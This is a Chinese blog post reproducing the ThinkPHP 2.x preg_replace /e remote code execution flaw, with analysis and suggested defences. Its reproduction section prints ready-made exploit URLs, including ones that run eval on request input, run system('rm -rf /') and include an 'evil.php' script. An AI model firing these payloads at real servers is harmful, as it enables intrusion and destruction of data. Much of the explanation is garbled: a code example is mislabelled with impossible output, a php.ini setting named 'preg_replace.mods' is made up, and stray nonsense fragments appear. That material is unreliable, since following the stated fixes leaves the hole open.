博客
关于我
ThinkPHP 2.x 任意代码执行漏洞【复现】
阅读量:801 次
发布时间:2019-03-25

本文共 2574 字,大约阅读时间需要 8 分钟。

ThinkPHP 2.x 任意代码执行漏洞分析

ThinkPHP 2.x 系列中存在一个严重的安全漏洞,该漏洞主要由于 preg_replace 函数的 /e 模式支持导致代码执行。以下将详细分析该漏洞的原理、复现方法及其原因。

漏洞描述

ThinkPHP 2.x 版本中,运行 preg_replace 函数的代码如下:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

该正则表达式设计用于将 URL 参数与应用模块、控制器、操作结合,最后将参数存储到 $var 数组中。问题出在 /e 模式的支持上,这种模式会将替换字符串视为 PHP 代码并立即执行。具体来说,替换字符串 '$var[\'\\1\']="\\2";' 将被PHP解析并执行。

当第三个参数 [^'.$depr.'\/]+ 可控时,会导致恶意代码被注入并执行。例如,一个用户输入的参数 ${@phpinfo()} 会被误解为 PHP 函数调用,从而触发代码执行。

需要注意的是,ThinkPHP 3.0 由于在 Lite 模式下没有修复该漏洞,因此仍然存在相同的安全问题。

漏洞复现

以下为该漏洞的两个常见复现样例:

1. 简单的 PHP 信息显示

完整代码:

/index.php?s=/index/index/name/${@phpinfo()}

2. 执行任意 PHP 函数

完整代码:

/index.php?s=/index/index/name/${@eval($_GET['param'])}

3. 执行任意 PHP 命令

完整代码:

/index.php?s=/index/index/name/${@system('rm -rf /')/>

4. garments/ 如恶意脚本注入

完整代码:

/index.php?s=/index/index/name/${@require_once('garments/evil.php')}

在这些示例中,只需将参数处于 ${...} 结构中,PHP 就会将其解释为变量或者函数调用,从而触发恶意操作。这类攻击通常很难被防御,除非完整消除 /e 模式支持。

原因分析

1. preg_replace 优势

preg_replace 函数用于处理字符串中的模式匹配和替换,是 PHP 中非常强大的工具。但在 /e 模式下,它的功能扩展得尤为突出,可以执行动态代码。

2. /e 模式机制

  • /e 模式的全称是 /e modifier,它告诉 PHP 解析替换后的字符串作为代码并立即执行。具体来说:
// 正常模式$str = preg_replace('@\p{L}+@e', '$str = $str . " " . $0;', 'Hello, World!');// 输出:Hello, World! Hello, World!
// /e 模式$str = preg_replace('/\p{L}+/', '$str = $str . " " . $0;', 'Hello, World!');// 输出:(Hello, World!) Hello, World!

这说明,在 /e 模式下,替换的结果将直接被嵌入到 PHP 代码中执行。这一点在将数据直接注入至变量或代码执行时尤为危险。

3. 代码路径分析

该漏洞的一个关键部分是 preg_replace 的替换字符串设计为 '$var[\'\\1\']="\\2";',其中 \1\2 是正则匹配组的结果。假设路径字符串为 /one/two/three,则:

  • 将路径按 / 分割为 ['one', 'two', 'three']
  • preg_replace 中,(\w+) 匹配 one([^/]+) 匹配 two
  • 最终替换结果为 $var['one'] = 'two'.
  • 应用类似操作至所有路径分组。
  • 这满足了应用默认路由规则,并可将参数动态注入至变量中。然而,路径输入可控的情况下,原始替换字符串可以被用来添加用户提供的代码。

    4. common 特例

  • 静态 PHP 函数

    好的,函数名需要是有效的 PHP 函数名称。例如:

    /index.php?s=/index/index/name/${@echo('Tliğinec6645444');}
  • 重要的随机字符集合

    例如 @random_string(30),但需要注意不能包含不安全字符。

  • 构建独立的恶意脚本

    例如 /path/to/evil.php,或者直接调用外部脚本。

  • 5."nil静态"(pseudo static call)*

    安全专家建议线上应用应完全避免这种情况:

    ${'evil'}`helloworld`

    但如果要保护设备,可以临时禁用 /e 模式或使用合成字符串表示变量。

    防御措施

    1. 关闭 /e 模式

    在 ThinkPHP 2.x 的版本中,可以通过在 php.ini 中禁用 /e 模式。

    preg_replace.mods = ""

    这将禁止所有正则表达式 ${...} 代入代码执行。

    或者在代码中手动禁用:

    ini_set('preg_replace.mods', '');

    2. 防御技术

    在应用中设计一个安全的参数过滤系统,确保用户输入无法直接注入到典型的函数或变量体中。

    3. 路由参数验证

    在处理路径参数前,建议进行全面检查,确保所有用户输入都是预期的路径分量且经过严格验证。

    4. 远程代码执行防御

    使用安全套件(如 PHP 函数库)来包裹和过滤所有外部调用,以确保代码无法被注入到服务器。

    5. 输出 logging

    在任务执行前记录所有关键输入参数,便于后续审计和响应。

    结论

    ThinkPHP 2.x 的任意代码执行漏洞是由于 /e 模式的强大特性所引发的,结合传入参数的动态替换,极易导致严重后果。这一漏洞的复现相对简单,仅需将任意代码放置在 ${...} 结构中即可触发。

    开发者应当及时修复这一漏洞,并在生产环境中启用适当的安全防护措施,以防范类似的潜在攻击面。

    转载地址:http://zqcyk.baihongyu.com/

    你可能感兴趣的文章
    MySQL DBA 数据库优化策略
    查看>>
    multi_index_container
    查看>>
    MySQL DBA 进阶知识详解
    查看>>
    Mura CMS processAsyncObject SQL注入漏洞复现(CVE-2024-32640)
    查看>>
    Mysql DBA 高级运维学习之路-DQL语句之select知识讲解
    查看>>
    mysql deadlock found when trying to get lock暴力解决
    查看>>
    MuseTalk如何生成高质量视频(使用技巧)
    查看>>
    mutiplemap 总结
    查看>>
    MySQL DELETE 表别名问题
    查看>>
    MySQL Error Handling in Stored Procedures---转载
    查看>>
    MVC 区域功能
    查看>>
    MySQL FEDERATED 提示
    查看>>
    mysql generic安装_MySQL 5.6 Generic Binary安装与配置_MySQL
    查看>>
    Mysql group by
    查看>>
    MySQL I 有福啦,窗口函数大大提高了取数的效率!
    查看>>
    mysql id自动增长 初始值 Mysql重置auto_increment初始值
    查看>>
    MySQL in 太多过慢的 3 种解决方案
    查看>>
    MySQL InnoDB 三大文件日志,看完秒懂
    查看>>
    Mysql InnoDB 数据更新导致锁表
    查看>>
    Mysql Innodb 锁机制
    查看>>